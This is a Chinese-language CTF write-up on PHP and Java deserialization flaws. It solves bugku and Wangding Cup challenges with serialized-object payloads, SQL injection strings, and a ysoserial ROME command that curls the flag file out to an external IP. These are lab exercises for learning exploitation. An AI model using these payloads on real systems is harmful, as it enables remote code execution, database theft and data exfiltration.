CTF-反序列化

漏洞详解

反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。例如将二进制数据流或文件加载到内存中还原为对象。
序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。
简单来说,序列化就像是把数据加密,像json一样的格式,反序列化就是解密成原来的样子

漏洞可能出现的位置

  1. 解析认证token、session的位置
  2. 将序列化的对象存储到磁盘文件或存入数据库后反序列化时的位置,如读取json文件,xml文件等
  3. 将对象序列化后在网络中传输,如传输json数据,xml数据等
  4. 参数传递给程序
  5. 使用RMI协议,被广泛使用的RMI协议完全基于序列化
  6. 使用了不安全的框架或基础类库,如JMX 、Fastjson和Jackson等
  7. 定义协议用来接收与发送原始的java对象

PHP反序列化

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

魔术方法

1
2
3
4
__construct()
具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
__destruct()
析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁,代码结束时执行。

PHP魔术方法详解

序列化实例

PHP代码在线执行

1
2
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

序列化

1
2
3
4
<?php
$key="syst1m";
echo serialize($key);
?>

输出

1
s:6:"syst1m";

反序列化

1
2
3
4
<?php
$key='s:6:"syst1m"';
echo unserialize($key);
?>

输出

1
syst1m

bugku-点login咋没反应

地址
bugku

打开页面

登录,发现没反应,根本没有表单提交

查看源码,有一个css文件

打开发现提示

输入http://url/?32145,页面回显源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
$KEY='ctf.bugku.com';
include_once("flag.php");
$cookie = $_COOKIE['BUGKU'];
if(isset($_GET['32145'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>

<?php
}
?>

代码审计

判断cookie中是否携带参数’BUGKU’
此处有一个坑,进入代码后判断get提价的数据是否为32145,不成立判断,反序列化$cookie是否等于$key,成立输出flag
所以我们在提交数据的时候,就不能带参数32145

1
2
3
4
5
6
if(isset($_GET['32145'])){
show_source(__FILE__);
}elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}

payload

1
2
3
4
5
<?php

$KEY='ctf.bugku.com';
echo serialize($KEY);
?>

获得值

1
s:13:"ctf.bugku.com";

带入cookie中去请求,不带url中不能携带32145参数

网鼎杯2020青龙组-AreUSerialz

地址
ctfhub-AreUSerialz

打开环境就显示源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

代码审计

首先是一道有类反序列化题

接受str参数, 执行is_valid()函数,执行unserialize()函数,反序列化

1
2
3
4
5
6
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

is_valid()函数检查对象变量是否已经实例化,序列化则返回

1
2
3
4
5
6
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

进入首先先执行构造方法,定义变量,执行process()方法

1
2
3
4
5
6
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

跟踪process()函数,判断$op,使用==,圈起来要考!!判断是否等于”1”,成立执行write()函数
不成立往下走再判断是否等于”2”,成立执行read()
read()函数,会返回包含文件的内容,也就是flag

1
2
3
4
5
6
7
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

上述皆不成立输出 Bad Hacker!

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

因为一开始构造函数,赋值了$op的值等于”1”,所以跟踪write(),可以发现write(),仅执行一些输入语句就结束了,和flag无关,所有不能执行write()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

代码全部完执行,对象被销毁,执行析构方法,使用===判断是否等于”2”,成立再赋值为”1”,否则执行process()

1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

所以在process()函数里,就不能执行write()函数,要执行read()函数,$op==”2”就不能成立,此处判断使用==而不是===
校验并不严格,所以我们可以使用” 2”,此处是空格2,构造序列化数据去绕过

构造数据

1

输出

1
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:12:"/tmp/tmpfile";s:7:"content";s:12:"Hello World!";}

payload

1
2
3
4
5
6
7
8
9
10
11
<?php
class FileHandler {

public $op = " 2";
public $filename = "flag.php";
public $content;

}
$a = new FileHandler();
echo serialize($a);
?>

输出

1
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";N;}

提交数据

1
url/?str=O:11:"FileHandler":3:{s:2:"op";s:2:"%202";s:8:"filename";s:8:"flag.php";s:7:"content";N;}

源代码查看flag

JAVA反序列化

Java中通常使用Java.io.ObjectOutputStream类中的writeObject方法进行序列化
java.io.ObjectInputStream类中的readObject方法进行反序列化。

特征

反序列化漏洞实验

序列化

将”hello”以序列化写入a.ser文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.example;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;

public class writeObject {
public static void main(String args[]) throws Exception {
String obj = "hello";

// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();

// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}

以16进制打开a.ser

以aced开头,Java序列化数据格式始终以双字节的十六进制0xAC ED作为开头,Base64编码之后为rO0A。

反序列化

将a.ser反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.example;


import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.Serializable;
import java.io.IOException;

// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}

public class Main{

public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}

网鼎杯think_java

打开环境,下载题目附件,丢idea里

代码审计

发现可疑文件名sqldict,跟进查看,并未对参数做过滤

继续审计,发现存在api接口,/swagger-ui.html

访问接口

payload

代码审计出,此处存在注入,需要使用#或?闭合掉前面的语句,因为此语句也用来连接jdbc

1
2
3
4
myapp#' union/**/select/**/database()#
myapp#'union/**/select/**/group_concat(column_name)from(information_schema.columns)where(table_name='user')and(table_schema='myapp')#
myapp#'union/**/select/**/name from user#
myapp#'union/**/select/**/pwd from user#

查出账号密码

登录获取cookie


Base64加密过后的序列化数据

放入cookie

这里应该就是将数据反序列化

nc反弹

使用ysoserial构造序列化数据

1
java -jar ysoserial.jar ROME "curl http://162.14.73.93:4444 -d @flag" |base64

监听端口

没有外网ip,内网穿透,不知道为什么试了很多次反弹不回来…